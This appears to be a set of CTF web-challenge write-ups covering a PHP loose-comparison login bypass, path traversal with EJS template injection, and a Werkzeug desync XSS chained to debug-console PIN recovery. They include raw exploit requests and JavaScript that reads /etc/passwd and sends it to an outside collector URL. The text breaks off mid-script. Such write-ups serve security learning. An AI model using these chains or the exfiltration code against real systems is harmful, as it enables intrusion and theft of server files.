index.php 57 | 58 | ```php 59 | username) && isset($req->password)) { 67 | if ($req->username === 'godmode' 68 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { 69 | /* Debug mode is not allowed from outside the router */ 70 | error_log("You failed...."); 71 | $req->username = 'nobody'; 72 | } 73 | 74 | error_log("Username:".$req->username); 75 | 76 | switch ($req->username) { 77 | case 'godmode': 78 | /* No password is required in god mode */ 79 | $_SESSION['login'] = true; 80 | $_SESSION['admin'] = true; 81 | break; 82 | 83 | case 'admin': 84 | /* Secret password is required in admin mode */ 85 | if (sha1($req->password) === ADMIN_PASSWORD) { 86 | $_SESSION['login'] = true; 87 | $_SESSION['admin'] = true; 88 | } 89 | break; 90 | 91 | case 'guest': 92 | /* Guest mode (low privilege) */ 93 | if ($req->password === 'guest') { 94 | $_SESSION['login'] = true; 95 | $_SESSION['admin'] = false; 96 | } 97 | break; 98 | } 99 | 100 | /* Return response */ 101 | if (isset($_SESSION['login']) && $_SESSION['login'] === true) { 102 | echo json_encode(array('status'=>'success')); 103 | exit; 104 | } else { 105 | echo json_encode(array('status'=>'error')); 106 | exit; 107 | } 108 | } 109 | ?> 110 | 111 | 112 | ............. strupping the html part 113 | 114 | ``` 115 | 116 | admin.php 117 | 118 | ```php 119 | 134 | 135 | 136 | 137 | 138 | control panel - CAKEGEAR 139 | 140 | 141 | 142 |

Router Control Panel

143 | 144 | 145 | 146 | 147 | 148 | 149 |
StatusUP
Router IP192.168.1.1
Your IP192.168.1.7
Access Mode
FLAG
150 | 151 | 152 | 153 | ``` 154 | 155 | As you can see that the flag is visible from the `/admin` endpoint, but there is check to validate whether the logged in user is `admin` or not. From this we can get a basic idea that , we probably need to somehow gain access to admin acc or something. 156 | 157 | Back to the index.php file: 158 | 159 | Inside the switch statement there are three cases for three diff users `admin` ,`guest`,`godmode` 160 | The password for the guest username is `guest`, so let's try to see what's there 161 | 162 | ![image](https://user-images.githubusercontent.com/31372554/188317697-8ae4f5c4-cca5-447e-a818-393da5eed086.png) 163 | 164 | The `godmode` username looks interesting so let's look more into this user, 165 | 166 | section `1` 167 | ```php 168 | $req = @json_decode(file_get_contents("php://input")); 169 | 170 | if (isset($req->username) && isset($req->password)) { 171 | if ($req->username === 'godmode' 172 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { //[1] 173 | /* Debug mode is not allowed from outside the router */ 174 | error_log("You failed...."); 175 | $req->username = 'nobody'; 176 | } 177 | 178 | error_log("Username:".$req->username); 179 | 180 | switch ($req->username) { 181 | case 'godmode': 182 | /* No password is required in god mode */ 183 | $_SESSION['login'] = true; 184 | $_SESSION['admin'] = true; 185 | break; 186 | ``` 187 | 188 | The `$req` variable basicaly contains the json data sent in the request body 189 | If you want to know more about why they are using `php://input` here, then refer to this post from stackoverflow: https://stackoverflow.com/questions/8893574/php-php-input-vs-post 190 | 191 | 192 | On line [1], the if condition checks for two things: 193 | 194 | ```php 195 | 196 | $req->username === 'godmode' // [2] 197 | !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) // [3] 198 | 199 | ``` 200 | 201 | First just checks if the username in the `$req` variable is equal to `godmode` 202 | The second checks the client ip , whether it matches with `['127.0.0.1', '::1']` (basically they are checking if the request if coming from localhost or not, there's a `NOT` operator in front of it) 203 | 204 | If both the conditions are true 205 | 206 | ```php 207 | error_log("You failed...."); 208 | $req->username = 'nobody'; 209 | ``` 210 | 211 | Then the *YOu failed....* message is displayed and the `username` is changed to `nobody` 212 | 213 | Inside the switch case, if the `$req->username` returns the `godmode` username 214 | 215 | ```js 216 | case 'godmode': 217 | /* No password is required in god mode */ 218 | $_SESSION['login'] = true; 219 | $_SESSION['admin'] = true; 220 | break; 221 | ``` 222 | 223 | This case will run, here from the comment you could see there is password requirement and also this is an `admin` too, perfect if we can somehow get login as `godmode` user we can get the flag 224 | 225 | 226 | 227 | 228 | We can't login as the admin username as there's strict comparison (===) of the `admin` password, if there was a loose comparison then the exploitation method would have been different here. 229 | 230 | ```php 231 | case 'admin': 232 | /* Secret password is required in admin mode */ 233 | if (sha1($req->password) === ADMIN_PASSWORD) { 234 | $_SESSION['login'] = true; 235 | $_SESSION['admin'] = true; 236 | } 237 | break; 238 | ``` 239 | 240 | # Godmode user 241 | 242 | If we want to get login as the `godmode` user , we must somehow fail this if check (line [1] section 1) 243 | 244 | ```php 245 | !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) 246 | ``` 247 | There is no way to spoof the ip in this case, if they were getting the client ip from headers such `X-Real-Ip` or something then we would have been able to add this header to our request and set it's value to `127.0.0.1` to make condition return false (NOT operator). 248 | 249 | 250 | If there was some sort of parameter pollution bug here, which would return something else here so that the condition returns false 251 | ```php 252 | $req->username === 'godmode' 253 | ``` 254 | 255 | And then here in the switch case it returns the `godmode` username, but sadly that's not possible here. 256 | 257 | # Switch case (loose comparison) 258 | 259 | Looking at the docs of the switch statement: 260 | https://www.php.net/manual/en/control-structures.switch.php 261 | 262 | Under a note section, it mentions that *Note that switch/case does loose comparison.* 263 | 264 | Challenge Author's note: 265 | 266 | ![chrome_4pcIpU7hvJ](https://user-images.githubusercontent.com/31372554/188317819-bef4a10f-387d-40a7-8a68-1b2be3744549.png) 267 | 268 | ```php 269 | php > echo 0 == "godmode"; 270 | 1 271 | php > echo true == "godmode"; 272 | 1 273 | ``` 274 | 275 | 276 | Cool, so now to solve the challenge we need to provide `true` for username value 277 | 278 | ``` 279 | POST / HTTP/1.1 280 | Host: web1.2022.cakectf.com:8005 281 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 282 | Accept: */* 283 | Accept-Language: en-US,en;q=0.5 284 | Accept-Encoding: gzip, deflate 285 | Content-Type: text/plain;charset=UTF-8 286 | Content-Length: 38 287 | Origin: http://web1.2022.cakectf.com:8005 288 | Connection: close 289 | Referer: http://web1.2022.cakectf.com:8005/ 290 | 291 | 292 | {"username":true,"password":"admin"} 293 | ``` 294 | 295 | Then visit the /admin.php endpoint and you will get the flag: 296 | 297 | ![image](https://user-images.githubusercontent.com/31372554/188317678-a165f8c7-4634-4a89-9c45-8bd3dacdcabd.png) 298 | -------------------------------------------------------------------------------- /2022/BlackHat Mea/jimmy_jammy.md: -------------------------------------------------------------------------------- 1 | 2 | There were many challenges in this CTF, but for this one the comeplete source code was provided which you could use to setup the challenge locally so I spent more time here. 3 | 4 | # Jimmy's Blog 5 | 6 | https://github.com/Sudistark/sudistark.github.io/raw/main/jimmys_blog.zip 7 | 8 | In the challenge description , it was mentioned that this application doesn't requires any password for users to get login (passwordless login mechanism). 9 | 10 | 11 | This is how the site homepage looked like: 12 | ![firefox_b4aSIj6Xvg](https://user-images.githubusercontent.com/31372554/193503499-eaf5c6fa-fea6-4fbe-87c7-b749e65d77ad.png) 13 | 14 | 15 | 16 | There are two articles also which can be accessed from this urls: 17 | http://127.0.0.1:1337/article?id=1 18 | http://127.0.0.1:1337/article?id=2 19 | 20 | Changing the value of this `id` parameter , returns *NOt Found* error 21 | 22 | On the registeration page it just asks for a username not password (remember as this is a passwordless mechanism site) 23 | 24 | ![image](https://user-images.githubusercontent.com/31372554/193503518-a90a732f-04f7-4d7e-b674-06471e1427b4.png) 25 | 26 | 27 | Upon clicking on the *Get key* button, a file is downloaded named `yourusername.key`. This key will used in the login page 28 | 29 | ![image](https://user-images.githubusercontent.com/31372554/193503596-3447470d-a721-47be-a9c0-6672cedc04e2.png) 30 | 31 | 32 | -------------- 33 | 34 | 35 | *Login Page*: 36 | 37 | ![image](https://user-images.githubusercontent.com/31372554/193503532-07ae2f0f-3b00-4f63-af29-41596251600e.png) 38 | 39 | 40 | Request made when the user clicks on the login button: 41 | 42 | ``` 43 | POST /login HTTP/1.1 44 | Host: 127.0.0.1:1337 45 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 46 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 47 | Accept-Language: en-US,en;q=0.5 48 | Accept-Encoding: gzip, deflate 49 | Content-Type: multipart/form-data; boundary=---------------------------77228163722178869953705465670 50 | Content-Length: 1374 51 | Origin: http://127.0.0.1:1337 52 | Connection: close 53 | Referer: http://127.0.0.1:1337/login 54 | Upgrade-Insecure-Requests: 1 55 | Sec-Fetch-Dest: document 56 | Sec-Fetch-Mode: navigate 57 | Sec-Fetch-Site: same-origin 58 | Sec-Fetch-User: ?1 59 | 60 | -----------------------------77228163722178869953705465670 61 | Content-Disposition: form-data; name="username" 62 | 63 | admin 64 | -----------------------------77228163722178869953705465670 65 | Content-Disposition: form-data; name="key"; filename="admin.key" 66 | Content-Type: application/octet-stream 67 | 68 | „cóåA Ç‘»³8µÆZ3,¢àþîB.*Bõ‰ýR¯àPÓÕ¹ßÿ·5ʧÖ³LÚN-ŽæK˜áúóo´¹ñ { 82 | const username = req.body.username; 83 | const result = utils.register(username); // [1] 84 | if (result.success) res.download(result.data, username + ".key"); 85 | else res.render("register", { error: result.data, session: req.session }); 86 | }) 87 | 88 | 89 | app.post("/login", upload.single('key'), (req, res) => { 90 | const username = req.body.username; 91 | const key = req.file; 92 | const result = utils.login(username, key.buffer); // [2] 93 | if (result.success) { 94 | req.session.username = result.data.username; 95 | req.session.admin = result.data.admin; 96 | res.redirect("/"); 97 | } 98 | else res.render("login", { error: result.data, session: req.session }); 99 | }) 100 | ``` 101 | 102 | On line [1] and [2] you can see a call to `utils.register(username)` and utils.login(username, key.buffer) is made respectively 103 | 104 | First let's focus on the key generation part: 105 | 106 | ```js 107 | register("jimmy_jammy", 1); 108 | 109 | function register(username, admin = 0) { 110 | try { 111 | db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin); 112 | } catch { 113 | return { success: false, data: "Username already taken" } 114 | } 115 | const key_path = path.join(__dirname, "keys", username + ".key"); //[3] 116 | const contents = crypto.randomBytes(1024); 117 | fs.writeFileSync(key_path, contents); 118 | return { success: true, data: key_path }; 119 | } 120 | ``` 121 | 122 | If the username is already taken the server will return error. 123 | 124 | `jimmy_jammy` is the admin user username 125 | 126 | The `register` method has two arguements first is the username (which is controllable by us) and 2nd one is the admin flag (which by default is false). 127 | 128 | The key generation part starts from line [3] , using `path.join` method the *key_path* is generated (location where the key is stored in the server) 129 | Then it genrates randomBytes of size 1024 using the crypto module and on the last line it just writes the contents to the *key_path* file. 130 | 131 | 132 | As there is no check/sanitzation for the username variable (which is controlled by the user), this allows the attacker to perform path traversal here.By exploiting this bug the attacker would be able to write his `username.key` file to any directory on the server. 133 | 134 | 135 | Now focusing on the `login` method: 136 | 137 | ```js 138 | function login(username, key) { 139 | const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username); 140 | if (!user) return { success: false, data: "User does not exist" }; 141 | 142 | if (key.length !== 1024) return { success: false, data: "Invalid access key" }; 143 | const key_path = path.join(__dirname, "keys", username + ".key"); //[4] 144 | if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" }; 145 | return { success: true, data: user }; 146 | } 147 | ``` 148 | 149 | It first checks if there exist any user with that username or not in the database 150 | On line [4] you can see that the same path traversal vuln exist here too. 151 | On the next line, you can find the logic of the login mechanism, it just compares the content of the key provided during login and the key stored in the key_path 152 | 153 | Normally all the keys are stored in the `/app/keys/yourusername.key` directory, so when a user with `admin` userame registers on the site. A new key will be generated under the keys directory `admin.key` and then during login the user needs to provide the key and username, the server then finds the location of corresponding key based upon the provided username and compares if the client keys matches with the key stored in the server or not. 154 | 155 | The authentication can be easily bypasses because of the path traversal vuln which exists in both the login and register method.Our end goal is to become admin by login to jimmy_jammy's account. The user `jimmy_jammy` key location on the server is `../../../app/keys/jimmy_jammy.key` 156 | 157 | So , the attacker will first generate the key by providing a username like this: `../../../app/keys/jimmy_jammy` , as this username doesn't already exist in the database , a key will generated for this user. 158 | 159 | ```js 160 | username = "../../../app/keys/jimmy_jammy.key" 161 | const key_path = path.join(__dirname, "keys", username + ".key") 162 | 163 | > /app/keys/jimmy_jammy.key 164 | ``` 165 | 166 | It will end up overwriting the actual jimmy_jammy user key and basically what happened here is that the key for `jimmy_jammy` user was overwritten with key of the user `../../../app/keys/jimmy_jammy` 167 | 168 | Now during login we will provide the username `jimmy_jammy` and the key for the `../../../app/keys/jimmy_jammy` user. 169 | When the server will fetch the content of the `/app/keys/jimmy_jammy.key` (whcih we have overwritten) and compare it with the key provided during login they will be perfect match and we will logged in as the admin user `jimmy_jammy` 170 | 171 | ------------------- 172 | 173 | 174 | Wait , the challenge hasn't end yet. 175 | 176 | From the source code , we can see that the flag is visible from the `/edit` which is only accessible from the admin user. 177 | 178 | ```js 179 | app.get("/edit", (req, res) => { 180 | if (!req.session.admin) return res.sendStatus(401); 181 | const id = parseInt(req.query.id).toString(); 182 | const article_path = path.join("articles", id); 183 | try { 184 | const article = fs.readFileSync(article_path).toString(); 185 | res.render("edit", { article: article, session: req.session, flag: Buffer.from("process.env.FLAG").toString('base64') }); 186 | } catch { 187 | res.sendStatus(404); 188 | } 189 | }) 190 | ``` 191 | 192 | As we are logged in as the admin user, we should be able to view the flag right? 193 | 194 | ![image](https://user-images.githubusercontent.com/31372554/193503713-c0d34968-d52d-4763-bc79-b5b8d1f148b9.png) 195 | 196 | 197 | But no,because of the nginx sub_filter rule. The flag is replaced by the string *oof, that was close, glad i was here to save the day* 198 | 199 | ```conf 200 | server { 201 | listen 80 default_server; 202 | listen [::]:80 default_server; 203 | 204 | server_name _; 205 | 206 | location / { 207 | # Replace the flag so nobody steals it! 208 | sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day'; 209 | sub_filter_once off; 210 | proxy_pass http://localhost:3000; 211 | } 212 | } 213 | ``` 214 | 215 | http://nginx.org/en/docs/http/ngx_http_sub_module.html 216 | 217 | Again looking into the source code, we can spot another path traversal bug. But this time we have full control over the content of the file also 218 | 219 | ```js 220 | app.post("/edit", (req, res) => { 221 | if (!req.session.admin) return res.sendStatus(401); 222 | try { 223 | fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, "")); 224 | res.redirect("/"); 225 | } catch { 226 | res.sendStatus(404); 227 | } 228 | }) 229 | ``` 230 | 231 | To make sure that nginx doesn't replace the flag with something else, Ithough of encoding the flag to another format. As the site uses ejs template I could overwrite any of the available template file and execute my own templates for eg: 232 | 233 | ```js 234 | <%= Buffer.from(process.env.FLAG,'ascii').toString("base64")%> 235 | ``` 236 | 237 | This will encode the flag to base64 238 | 239 | Here's the request , notice the `id` parameter value , you can change it to any file which you want to overwrite as changing any other such as the .js file would require a server restart I used the template file instead : 240 | 241 | ``` 242 | POST /edit?id=../views/scripts.ejs HTTP/1.1 243 | Host: 127.0.0.1:1337 244 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 245 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 246 | Accept-Language: en-US,en;q=0.5 247 | Accept-Encoding: gzip, deflate 248 | Content-Type: application/x-www-form-urlencoded 249 | Content-Length: 70 250 | Origin: http://127.0.0.1:1337 251 | Connection: close 252 | Referer: http://127.0.0.1:1337/edit?id=1 253 | Cookie: wp-settings-time-1=1663159225; BITBUCKETSESSIONID=CB8444D322BCB0EBA83295A2BE124807; _atl_bitbucket_remember_me=MzYwMThjZTA3OWE4ZmM4NzdmMjBiODY3NThjNWFkOTU4MGI5OTNjNjo4ODEyMzg0MTljYWVlYjcxNTQ3YWMyZWYyNTJiMmNhZTk3NWUzYjJm; DOKU_PREFS=difftype%23sidebyside%2522%253E%253Cimg%2520src%253Dx%2520onerror%253Dalert%2528%2529%253E; connect.sid=s%3AaWx9KB0bw_2BGfsC-RNgVKx5NYSuVyA4.k5QJAM0yBB2%2FHSkNHR0hbZEhVroVsEUZznULHHZvfKw 254 | Upgrade-Insecure-Requests: 1 255 | Sec-Fetch-Dest: document 256 | Sec-Fetch-Mode: navigate 257 | Sec-Fetch-Site: same-origin 258 | Sec-Fetch-User: ?1 259 | 260 | article=<%= Buffer.from(process.env.FLAG,'ascii').toString("base64")%> 261 | ``` 262 | 263 | Now when you will visit the edit page, the base64 encoded flag should be right there. 264 | 265 | This was a really good challenge: BlackHatMEA{1475:16:6eb55fd9172620043c27f3a781bfb966e4efe6a5} 266 | -------------------------------------------------------------------------------- /2023/HTBBusiness/web-desynth-recruit.md: -------------------------------------------------------------------------------- 1 | Me and my friend (@0xbla) spent our weekend solving a very interesting challenge from HTB Business CTF 2 | 3 | The challenge was very realistic and it required you to chain a lot of other bugs to solve it, probably the best one we have ever seen. 4 | 5 | 6 | I will give you a basic idea about the challenge: 7 | 8 | The application had basic login/signup flow 9 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/f0ac9707-b786-423a-8f37-7d04237e3a5f) 10 | 11 | Once logged in you were redirect to the `/settings` endpoint which allowed you to make changes to your profile: http://localhost:1337/settings 12 | 13 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/4746400e-81fa-4eba-af17-2f4ea3c4134b) 14 | 15 | The Bio input field says that *Bio (limited HTML supported)* , so we will put some basic html tags and see if they are rendered or not `shirley` , there is also a file upload which only allows to upload png files. 16 | Once we submit this form , we get this message: *Your profile is now public* 17 | 18 | We can now visit our profile via this url : http://localhost:1337/profile/3 19 | (The id 1,2 are reserved for other users probably admin) 20 | 21 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/7ae40860-a2f9-42e0-ae2e-a45b98387d36) 22 | 23 | From the above screenshot you could see that the *Bio* field html code didn't worked although it said that basic html tags were allowed. I also tried some more tags but all of them weren't rendered. 24 | On the right side you could see we have *Report a user* functionality where we could report any user profile by just supplying it's user id. 25 | 26 | 27 | Going through burp history , I found this endpoint: http://localhost:1337/go?to=/login 28 | It was found to be vulnerable to open redirect, let's add it to our note and move forward with the source code review part. 29 | 30 | ------------ 31 | 32 | # Source Code 33 | 34 | 35 | The application is in python Flask and it is running in debug mode 36 | 37 | 38 | ```python 39 | from application.main import app 40 | 41 | app.run(host='0.0.0.0', port=1337, debug=True) 42 | ``` 43 | 44 | The flag is stored on the file system not exposed anywhere else so we might need a rce and also the location is random. 45 | 46 | ```bash 47 | # change flag name 48 | mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt 49 | ``` 50 | 51 | 52 | 53 | The routes are defined here: /application/blueprints/routes.py 54 | 55 | We can confirm the open redirect root cause from here: 56 | ```python 57 | @web.route('/go') 58 | def goto_external_url(): 59 | return redirect(request.args.get('to')) 60 | ``` 61 | 62 | These one routes which isn't allowed to be access by normal user, looked interesting: 63 | 64 | ```python 65 | @api.route('/ipc_download') 66 | @is_authenticated 67 | def ipc_download(user): 68 | if user['username'] != 'admin': 69 | return response('Unauthorized'), 401 70 | 71 | path = f'{os.path.join(current_app.root_path, current_app.config["UPLOAD_FOLDER"])}{request.args.get("file")}' 72 | try: 73 | with open(path, "rb") as file: 74 | file_content = file.read() 75 | return Response(file_content, mimetype='application/octet-stream') 76 | except: 77 | return response('Something Went Wrong!') 78 | 79 | 80 | ``` 81 | 82 | This endpoint is responsible for sending the response of the ipc document submitted during profile update but as there is no check on the file param `request.args.get("file")` we could path traverse and read any file we want. 83 | We can't use this to read the flag directly as the flag has random name suffix to it and also this is only accessible by admin user. 84 | 85 | If we want to read the response of this endpoint to read any file we would need a xss bu, which get's executed in the bot's browser so that we could access this endpoint and read the response. 86 | 87 | 88 | The Upload IPC endpoint was also interesting: 89 | 90 | ```python 91 | @api.route('/ipc_submit', methods=['POST']) 92 | @is_authenticated 93 | def ipc_submit(user): 94 | if 'file' not in request.files: 95 | return response('Invalid file!') 96 | 97 | ipc_file = request.files['file'] 98 | 99 | if ipc_file.filename == '': 100 | return response('No selected file!'), 403 101 | 102 | if ipc_file and allowed_file(ipc_file.filename): 103 | ipc_file.filename = f'{user["username"]}.png' # [1] 104 | ipc_file.save(os.path.join(current_app.root_path, current_app.config['UPLOAD_FOLDER'], ipc_file.filename)) # [2] 105 | update_ipc_db(user['username']) 106 | 107 | return response('File submitted! Our moderators will review your request.') 108 | 109 | return response('Invalid file! only png files are allowed'), 403 110 | ``` 111 | 112 | On line [1], you could see `ipc_file.filename` value is taken from the username (which is controllable by the user) and then directly used in `path.join` operation. 113 | 114 | This is bad practise as it leads to path traversal here also 115 | 116 | ```python 117 | >>> os.path.join('/home/ubuntu') 118 | '/home/ubuntu' 119 | >>> os.path.join('/home/ubuntu','sudi') 120 | '/home/ubuntu/sudi' 121 | >>> os.path.join('/home/ubuntu','/sudi') 122 | '/sudi' 123 | ``` 124 | 125 | If the username is like this `/username` then os.path.join operation will return `/username` instead (it will ignore everything what's before) this would have allowed us to have arbitrary file write on the file system which we could we use to overwrite any template then get easy rce but as the application appends the extenion to it `f'{user["username"]}.png'` we can't make use of this as we can;t do anything malicious by overwriting png files. 126 | 127 | 128 | 129 | Examining the bot.py file we discover something: 130 | 131 | The report endpoint takes the value from the id parameter but as there is no checks we can provide anything else also there. 132 | ```python 133 | @api.route('/report', methods=['POST']) 134 | @is_authenticated 135 | def report(user): 136 | if not request.is_json: 137 | return response('Missing required parameters!'), 401 138 | 139 | data = request.get_json() 140 | 141 | user_id = data.get('id', '') 142 | ``` 143 | 144 | bot.py 145 | 146 | ```python 147 | client.get(f"http://localhost:1337/login") 148 | 149 | time.sleep(3) 150 | client.find_element(By.ID, "username").send_keys(username) 151 | client.find_element(By.ID, "password").send_keys(password) 152 | client.execute_script("document.getElementById('login-btn').click()") 153 | time.sleep(3) 154 | client.get(f"http://localhost:1337/profile/{id}") // [3] 155 | time.sleep(10) 156 | ``` 157 | 158 | On line [3] you could see the `id` is directly added to the url , this again could lead to path traversal. This one is interesing as we could chain this with the open redirect bug. 159 | Let me explain the bot was restricted to visit the profile page only but due to the path traversal and open redirect bug we could make the bot visit any page we want. 160 | 161 | ```json 162 | { 163 | "id":"../go?to=https://atacker.com/" 164 | } 165 | ``` 166 | 167 | This gave more of a hint that the xss bug can be on any page instead of just the profile page. 168 | 169 | 170 | We we started looking at the client side javascript code, to look for any xss sink: 171 | 172 | 173 | At first this looked interesting: 174 | 175 | ```js 176 | const populateBots = () => { 177 | let sBots = $('.exp-container').data('botExp'); 178 | 179 | let botsHTML = `
`; 180 | 181 | for(i=0; i < botsData.length; i++) { // [4] 182 | if (sBots.includes(botsData[i].name)) { 183 | botsHTML += ` 184 |
185 | 186 |
`; 187 | } 188 | } 189 | 190 | botsHTML += `
`; 191 | 192 | $('.exp-container').html(botsHTML); 193 | } 194 | ``` 195 | 196 | [4] botsData is decalred inside this file http://localhost:1337/static/js/global.js 197 | 198 | ```js 199 | window.botsData = [ 200 | { 201 | "name":"DisBot", 202 | "src":"/static/images/bots/jake-parker-discord.png" 203 | } 204 | ``` 205 | 206 | As the source is directly used in the jquery html sink we thought if we can clobber `window.botsData` we could get xss.But we couldn't find any injection point. 207 | 208 | Meanwhile my friend pointed out that the `/debug` endpoint has Werkzeug console exposed (as the application is running in debug mode), but we don't know the pin. 209 | 210 | This is where we came up with a plan how to solve this challenge by chaining all the pieces we already have. 211 | 212 | 213 | 214 | Searching on google we found this blog https://www.daehee.com/werkzeug-console-pin-exploit/, which explains how you can genrate the PIN if you have a path traversal bug.By following this we should be able to get the PIN 215 | 216 | 217 | Here's how the attack will look: 218 | Consider the xss endpoint to be `/xssendpoint` 219 | 220 | 221 | In the report endpoint, modify the id parameter in the request to `../go?to=/xssendpoint` . This will redirect the bot to the page where we have xss.Using the xss bug make a request to the `/api/ipc_download?file=../../../../etc/passwd` endpoint and get the response and sent it to our controlled server. (we will fetch the necessary information needed to generate the pin) 222 | 223 | ------------- 224 | 225 | # XSS 226 | 227 | We are still misisng an important piece to prove our attack , xss. At this point we were clueless then my friend pointed our that the challenge name relates *web desync* maybe we need to exploit this to get xss. 228 | At that time we both remembered about seeing a new research by @kevin_mizu on *Abusing Client-Side Desync on Werkzeug* as we were dealing Werkzeug this looked very promising. 229 | 230 | https://mizu.re/post/abusing-client-side-desync-on-werkzeug 231 | 232 | Oxbla confirmed that it is ineeded vulnerable to desync attack. I was reading the research blog at that time as I am not good with this attack, the version mentioned in that blog was same as what was used in the challenge 233 | 234 | requirements.txt 235 | ``` 236 | Flask==2.1.0 237 | Werkzeug==2.1.0 238 | ``` 239 | 240 | https://nvd.nist.gov/vuln/detail/cve-2022-29361 241 | 242 | 243 | Mizu really went deep into his research and even undercover an interesting open redirect to demonstrate how this bug could could be chained together which will lead to account takeover. 244 | 245 | I won't go into the details as Mizu already explained everything very well in simple terms so make sure to read his research before continuing 246 | 247 | 248 | This is the open redirect which I am talking about : 249 | 250 | ``` 251 | GET http://google.com HTTP/1.1 252 | Host: localhost:1337 253 | Accept-Encoding: gzip, deflate 254 | Accept: */* 255 | Accept-Language: en-US;q=0.9,en;q=0.8 256 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 257 | 258 | 259 | ``` 260 | 261 | Response: 262 | 263 | ``` 264 | HTTP/1.1 308 PERMANENT REDIRECT 265 | Server: Werkzeug/2.1.0 Python/3.11.4 266 | Date: Mon, 17 Jul 2023 15:18:31 GMT 267 | Content-Type: text/html; charset=utf-8 268 | Content-Length: 262 269 | Location: http://google.com/? 270 | ``` 271 | 272 | Again check the research blog if you want to know the root cause of this. 273 | 274 | 275 | By using a form such as this: 276 | 277 | ```html 278 |
281 | 283 | 284 |
285 | 286 | 287 | 288 | ``` 289 | 290 | 291 | 292 | 293 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/d13d01d6-84ca-4975-96f4-49e0c0796de5) 294 | 295 | 296 | Upon submitting the above form this what happened: 297 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/7fdfcc5b-4f7d-4c6b-b3b7-16bbef90c0f8) 298 | 299 | *As we have a Client-Side Desync in Werkzeug, and this kind of attacks allows to control arbitrary bytes of the next request, it is possible to abuse it to recreate the open redirect payload from a malicious HTTP request.* 300 | 301 | Quoting this from Mizu's blog what's happening here is that the payload send in the request body is used in the next request 302 | 303 | 304 | In our case the next request was made to http://localhost:1337/static/js/jquery.js , due to the bug in the parsing the request the server instead of returning the original jquery.js code it returns a 308 redirect response to https://attacker.com (whatever code is returned by this server will be loaded in the page instead jquery.js) this give us a nice xss. 305 | 306 | 307 | We can confirm this xss by adding this payload to our index.html file 308 | 309 | ```js 310 | alert() 311 | ``` 312 | 313 | 314 | ![image](https://github.com/Sudistark/CTF-Writeups/assets/31372554/4899cdfb-f18f-43bf-9c7b-61a01fbfad9d) 315 | 316 | 317 | Great we have the xss now :) 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | Sample code to read any local file 326 | 327 | 328 | index.html 329 | 330 | ```js 331 | fetch('/api/ipc_download?file=../../../../etc/passwd', { 332 | credentials: 'include' 333 | }) 334 | .then(response => response.text()) 335 | .then(data => { 336 | const encodedData = btoa(data); 337 | const url = `https://en2celr7rewbul.m.pipedream.net/?flag=${encodedData}`; 338 | window.location.href = url; 339 | }); 340 | ``` 341 | 342 | ``` 343 | POST /api/report HTTP/1.1 344 | Host: 127.0.0.1:1337 345 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 346 | Content-Type: application/json 347 | Content-Length: 94 348 | 349 | { 350 | "id": "../go?to=http://8033-2409-4089-be8c-ddd4-add9-7e9b-206c-78fb.ngrok-free.app/test.html" 351 | } 352 | ``` 353 | 354 | test.html contents 355 | 356 | ```html 357 |
360 | 362 | 363 |
364 | 365 | 366 | 367 | ``` 368 | 369 | ![image](https://user-images.githubusercontent.com/31372554/254163199-24f67c10-a553-4cf4-a363-36eea20310d5.png) 370 | 371 | 372 | ---------------------- 373 | 374 | To generate the PIN value on our end we need to know some values beforehand: 375 | 376 | https://www.daehee.com/werkzeug-console-pin-exploit/ 377 | 378 | If you are interested in checking the source which generates the pin here it is: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L138 379 | 380 | We will be using this script to generate the pin: https://github.com/wdahlenburg/werkzeug-debug-console-bypass 381 | 382 | 383 | As we have alocal setup most of the things we already know: 384 | 385 | >username is the user who started this Flask 386 | root 387 | 388 | >modname 389 | flask.app 390 | 391 | >getattr(app, '__name__', getattr (app .__ class__, '__name__')) 392 | Flask 393 | >getattr(mod, '__file__', None) #is the absolute path of an app.py in the flask directory 394 | /usr/local/lib/python3.11/site-packages/flask/app.py 395 | 396 | >uuid.getnode() 397 | 398 | ```bash 399 | $ cat /sys/class/net/eth0/address 400 | 02:42:ac:11:00:04 401 | root@9d0ff0081967:/app# python3 402 | Python 3.9.7 (default, Sep 3 2021, 02:02:37) 403 | [GCC 10.2.1 20210110] on linux 404 | Type "help", "copyright", "credits" or "license" for more information. 405 | >>> "".join("02:42:ac:11:00:04".split(":")) 406 | '0242ac110004' 407 | >>> print(0x0242ac110004) 408 | 2485377892356 409 | 410 | ``` 411 | 412 | get_machine_id() 413 | 414 | Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup 415 | With the path traversal we can easily read the values of these files 416 | 417 | 418 | Here's the final payload to get all the required info: 419 | 420 | 421 | ```js 422 | "" 423 | files = ["/sys/class/net/eth0/address","/proc/sys/kernel/random/boot_id","/proc/self/cgroup"] 424 | 425 | 426 | 427 | 428 | // loop through files fetch and send to server 429 | 430 | files.forEach(file => { 431 | 